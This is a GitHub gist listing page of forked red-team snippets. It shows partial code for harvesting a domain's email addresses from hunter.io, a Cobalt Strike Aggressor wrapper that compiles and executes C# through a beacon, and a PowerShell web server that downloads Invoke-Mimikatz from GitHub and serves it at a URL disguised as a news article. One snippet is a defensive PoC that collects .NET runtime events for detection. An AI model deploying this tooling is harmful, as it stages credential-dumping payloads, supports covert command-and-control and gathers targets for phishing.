Skip to content

Instantly share code, notes, and snippets.

View cobbr's full-sized avatar
💻
Hacking

Ryan Cobb cobbr

💻
Hacking
View GitHub Profile
@cobbr
cobbr / hunter.py
Created December 7, 2018 22:07 — forked from Static-Flow/hunter.py
Simple Python 3 script to pull emails related to a domain from hunter.io and parse the data
import requests
import sys
if len(sys.argv) is 3:
domain = sys.argv[1]
api_key = sys.argv[2]
if domain is not None:
url = "https://hunter.io/v2/domain-search?limit=10000&offset=0&domain="\
+domain+"&api_key="+api_key+"&format=json"
hunterJsonData = requests.get(url)
for email in hunterJsonData.json()['data']['emails']:
@cobbr
cobbr / CollectDotNetEvents.ps1
Last active January 24, 2019 01:35 — forked from mattifestation/CollectDotNetEvents.ps1
A PoC script to capture relevant .NET runtime artifacts for the purposes of potential detections
function Start-DotNetEventCollection
{
Param(
[Parameter(Position = 0)]
[Alias('PSPath')]
[String] $TracePath = './dotNetTrace.etl',
[Parameter(Position = 1)]
[String] $TraceName = 'dotNetTrace'
)
@cobbr
cobbr / sharpgen.cna
Created November 8, 2018 19:03 — forked from dtmsecurity/sharpgen.cna
SharpGen Aggressor Beacon Wrapper
$dotnetpath = "/usr/local/share/dotnet/dotnet";
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll";
$temppath = "/tmp/";
beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n");
alias sharpgen{
$executionId = "sharpgen_" . int(rand() * 100000);
$temporaryCsharp = $temppath . $executionId . ".cs";
$executableFilename = $temppath . $executionId . ".exe";
@cobbr
cobbr / server.ps1
Last active January 30, 2020 18:55 — forked from obscuresec/dirtywebserver.ps1
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)